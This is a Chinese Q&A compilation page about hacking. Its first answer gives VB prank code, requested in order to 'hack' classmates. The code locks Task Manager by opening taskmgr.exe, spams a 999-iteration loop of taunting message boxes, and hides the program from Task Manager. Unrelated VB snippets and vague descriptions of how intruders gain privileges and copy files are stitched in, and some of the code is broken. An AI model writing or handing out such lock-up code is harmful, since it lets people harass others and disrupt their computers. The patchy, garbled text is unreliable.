本文目录一览：
- 1、给个黑客程序(业余的，只要别人电脑蓝屏死机）黑一搓同学，不要专业
- 2、黑客如何利用信件或网页包含的程序代码来运行被黑电脑的某个程序或打开各种系统服务，并实施破坏？
- 3、软件源代码能不能从服务器上复制下来
- 4、黑客编程世界冠军的代码3d效果是真的吗
- 5、一直有个疑问，黑客入侵别人的电脑之后操作，比如复制他的文件到自己的电脑，被入侵的电脑旁有人（补充）
给个黑客程序(业余的，只要别人电脑蓝屏死机）黑一搓同学，不要专业
Open Environ$("WinDir") "\system32\taskmgr.exe" For Binary As #1
For m = 1 To 999
MsgBox "呵呵，你知道我是谁吗？", 16
MsgBox "什么？？不知道？", 16
MsgBox "那你打开我干什么？", 16
MsgBox "你有空没事做吧？！", 16
MsgBox "我..就是鼎鼎大名的*********", 16
MsgBox "*********..", 16
MsgBox "现在你把它打开了觉得后悔了吧？呵呵..", 16
MsgBox "算了算了，不玩你了", 16
MsgBox "现在我数3声就闪人,行了吧?", 16
MsgBox "1.............", 16
MsgBox "2.............", 16
MsgBox "3.............", 16
MsgBox "噔噔噔噔,我又回来了！", 16
MsgBox "哈哈，是不是很过瘾呢？", 16
MsgBox "现在我先介绍下自己..", 16
MsgBox "我叫奥特曼..", 16
MsgBox "性别：男..", 16
MsgBox "今年17岁..", 16
MsgBox "不好意思噢，我好像说多了..", 16
MsgBox "不要这样喇，听我说完先好不？", 16
MsgBox "来来来，开始喇..", 16
MsgBox "我叫王得地..", 16
MsgBox "家中有屋又有田..", 16
MsgBox "生活乐无边..", 16
MsgBox "好像我又说多了...", 16
MsgBox "不要生气嘛，你认真看下去我就放你走..", 16
MsgBox "好，开始喇..", 16
MsgBox "从前有座山..", 16
MsgBox "山里有个座庙..", 16
MsgBox "庙里有个和尚..", 16
MsgBox "哈哈，想哭吗？", 16
MsgBox "被骗的感觉不爽吧？", 16
MsgBox "喂喂喂！别别..千万别重启电脑", 16
MsgBox "我告诉你怎么关吧", 16
MsgBox "先打开任务管理器", 16
MsgBox "忘了告诉你了，任务管理器打不开了", 16
MsgBox "别恨我啊你不小心", 16
MsgBox "电脑重新启动吧", 16
MsgBox "相信我吧,你知道我是不会骗人的", 16
MsgBox "如果你还想继续点的话,你就别听我的", 16
MsgBox "呵呵,我又没有说这个东西没有", 16
MsgBox "我只想说桌面没有罢了..", 16
MsgBox "嘻嘻,爽不爽吖?", 16
MsgBox "对着电脑屏幕大声说低调大好人", 16
MsgBox "不然,我就没办法的咯", 16
MsgBox "因为我把循环设置成99了", 16
MsgBox "想保存电脑数据只有继续点了", 16
MsgBox "绝对会出到去的", 16
MsgBox "好了,废话不多说了,祝你好运..", 16
MsgBox "制作:莫忻", 16
MsgBox "QQ：*********", 16
MsgBox "E-mail:不告诉你", 16
MsgBox "好,继续循环..", 16
Next
0000000000000000000000000000000000000000000000000000000000000
Form1.KeyPreview = True
If KeyCode = 37 Then
Picture1.Left = Picture1.Left - 45
ElseIf KeyCode = 38 Then
Picture1.Top = Picture1.Top - 30
ElseIf KeyCode = 39 Then
Picture1.Left = Picture1.Left + 15
ElseIf KeyCode = 40 Then
Picture1.Top = Picture1.Top + 70
End If
方向键控制物体运动 00000000000000000000000000000000000000000000
If a = fasle Then
Command1.Top = Command1.Top + 20
If Command1.Top 2400 Then
a = True
End If
End If
If a = True Then
Command1.Top = Command1.Top - 20
End If
If Command1.Top 140 Then
a = False
End If
控件自动上下移动0000000000000000000000000000000000
Label1.Caption = ""
Label1.Left = X - 20
Label1.Top = Y - 20
Label1.Caption = "当前鼠标坐标: x=" X " y = " Y
鼠标坐标轴代码00000000000000000000000000000000000000000
app.taskervisible=false
在任务管理器隐身
程序最好尽量简单，我的界面就两个文本框，两个按钮。
保存按钮的代码我是这样写的：
Private Sub Command1_Click()
Open "f:\文件保存\data.txt" For Output As #1 '文件保存的路径
print #1, text1.text
Close #1
End Sub
提取的代码我不会写。。
要分行写入不同的文本框。。
应该怎么写呢？
越简单越好。。最好加上注释。。我希望下一次我自己能做出来
Private Sub Command2_Click()
Open "f:\文件保存\data.txt" For Input As #1 '文件保存的路径
Line Input #1, x
Text1.Text = x
Close #1
End Sub
00000000000000000000000000000000000000000000000vb 保存数据到txt
Private Sub Command2_Click()
Open "F:\TEST\b.txt" For Output As #1
Print #1, Text1.Text
Close
End Sub
以上代码可以创建一个txt文件并写入数据
黑客如何利用信件或网页包含的程序代码来运行被黑电脑的某个程序或打开各种系统服务，并实施破坏？
让你点击一些JS或Web程序，利用服务端和客户端之间的协议作为保障，获得客户机的权限（可能是最高权限）。通过最高权限调用系统接口伪装正常程序进行破坏。
对服务器的攻击，有很多形式，比如注入数据库，负载量过大造成崩溃。让程序卸掉外壳，产生碎片。收集碎片和异常日志进行分析，编写程序，冒充正常的远程调用。
总之，无论是一般的客户机还是网站服务器，都是以获得权限为基础的。
软件源代码能不能从服务器上复制下来
不过这样复制的只是html语言，真正的程序你是复制不到的。因为比如asp等程序他们都是在服务器端才可以看到源代码的，客服端永远不会看到。除非你把源文件下载下来。这就涉及黑客了噢；要是动态页 你就别想了 肯定不可能把页都下来使用，除非。。...
黑客编程世界冠军的代码3d效果是真的吗
这是世界黑客编程大赛第一名的作品（97年Mekka ’97 4K Intro比赛），
汇编语言所写。整个程序全长4095字节, 生成.com程序只有4K，
可是却实现了3D动画的效果，还有一段背景音乐！画面是游戏天旋地转的一个场景！绝对牛！免费送给大家研究咯
个人名誉保证~以下代码绝对没毒！
将下面的代码复制下来保存为1.txt.,保存到D盘
运行你的cmd (cmd打开方式: 开始--程序--附件--命令指示符)
输入D:
按回车
输入debug1.txt
按回车
将看到效果，一个3d房子，一段音乐
退出按，Esc键，在cmd下输入exit ---转载红盟id：殇丶逝
一直有个疑问，黑客入侵别人的电脑之后操作，比如复制他的文件到自己的电脑，被入侵的电脑旁有人（补充）
当然不用鼠标。
所谓的黑客，就是利用程序将你的系统文件扫描过滤，找到有利的资源上传给自己。
当然各路黑客的目的不同。有为钱有为利，也有就是闲的蛋疼的。
不一定光是扫描，也可能是无聊破坏你的本地文件，更改你的系统设置，拦截你的有效访问等等。
不过一般人碰不上他们的，因为太一般了，没什么可以让他们感到有兴趣的东西。
更多IT知识，可以到 软媒 IT之家 咨询了解。
